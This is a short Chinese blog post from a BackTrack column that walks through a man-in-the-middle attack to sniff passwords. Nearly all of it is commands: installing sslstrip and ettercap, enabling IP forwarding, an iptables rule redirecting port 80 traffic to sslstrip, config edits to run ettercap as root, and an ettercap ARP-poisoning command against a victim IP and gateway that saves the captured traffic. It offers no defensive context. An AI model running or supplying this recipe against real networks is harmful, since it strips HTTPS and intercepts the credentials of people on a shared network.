利用SSLStrip & Ettercap ARP欺骗嗅探密码

最新推荐文章于 2023-12-17 17:09:37 发布

神秘的蒙面大虾

最新推荐文章于 2023-12-17 17:09:37 发布

阅读量4.5k

点赞数

分类专栏： BackTrack 文章标签： redirect command tcp ssl

本文链接：https://blog.csdn.net/ghosttzs/article/details/7280574

版权

BackTrack 专栏收录该内容

8 篇文章 1 订阅

订阅专栏

apt-get purge ettercap
apt-get purge sslstrip
apt-get install ettercap
apt-get install sslstrip

echo '1' > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

sslstrip -l 8080

# from http://blog.csdn.net/ghosttzs

First you need to configure ettecap for sniffing a ssl connection. Open etter.confand edit the lines:

    [privs]
    ec_uid = 65534 # nobody is the default
    ec_gid = 65534 # nobody is the default

    to

    [privs]
    ec_uid = 0 # nobody is the default
    ec_gid = 0 # nobody is the default

    # if you use iptables:
    #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT %rport"
    #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT %rport"

    to this

    # if you use iptables:
    redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT %rport"

redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT %rport"

Next information that you need is the victim ip and the gateway ip. Let's assume that the victim ip is 10.0.0.2 and the gateway is 10.0.0.1:

ettercap -Tq -i eth0 -M arp:remote /10.0.0.2/ /10.0.0.1/ -w /root/Desktop/HiRoot/test.cap

转载请注明出处